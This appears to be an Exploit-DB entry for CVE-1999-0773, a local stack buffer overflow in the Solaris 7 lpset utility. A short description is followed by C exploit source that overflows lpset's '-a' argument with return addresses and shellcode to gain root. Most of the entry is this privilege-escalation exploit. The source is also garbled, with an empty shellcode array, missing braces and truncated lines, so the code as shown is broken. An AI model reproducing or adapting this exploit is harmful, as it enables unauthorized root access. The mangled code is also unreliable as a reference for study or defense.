Sun Solaris <= 7.0 lpset Buffer Overflow Vulnerability

ID EDB-ID:19206
Type exploitdb
Reporter kim yong-jun
Modified 1999-05-11T00:00:00


Sun Solaris 7.0 lpset Buffer Overflow Vulnerability. CVE-1999-0773. Local exploit for solaris platform


A stack buffer overflow vulnerability in the handling of the "-a" command in the lpset program allows arbitrary execution of code with root privileges.

The lpset utility sets printing configuration information in the system configuration databases. lpset can be used to create and update printing configuration in /etc/printers.conf or Federated Naming System (FNS). Only a superuser or a member of Group 14 may execute lpset.

There has been mixed results as to whether the applications exits with the message "Permission denied: not in group 14." before the overflow can be exploited, and thus the vulnerability can only be exploited by members of group 14.

   ex_lpset.c Overflow Exploits( for Intel Edition )
   The Shadow Penguin Security (
   Written by UNYUN (
#define OFFSET      0x3b88
#define STARTADR    700
#define ENDADR      1200
#define EX_STADR    8000
#define BUFSIZE     22000
#define NOP 0x90

unsigned long ret_adr;
int i,adjust;

char exploit_code[] =


unsigned long get_sp(void)
  __asm__(" movl %esp,%eax ");

static char   x[BUFSIZE];

main(int argc, char **argv)
        printf("0 : x86 Solaris2.6 J\n1 : ?\n2 : ?\n3 : x86 Solaris 7 J\n");
        printf("Input (0-3) : "); scanf("%d",&adjust);
        printf("Jumping Address = 0x%lx\n",ret_adr);
        for (i = adjust+STARTADR; i<ENDADR ; i+=4){
                x[i+2]=ret_adr & 0xff;
                x[i+3]=(ret_adr >> 8 ) &0xff;
                x[i+0]=(ret_adr >> 16 ) &0xff;
                x[i+1]=(ret_adr >> 24 ) &0xff;
        for (i=0;i<strlen(exploit_code);i++)
        execl("/usr/bin/lpset","lpset","-n","xfn","-a",x,"lpcol1",(char *) 0);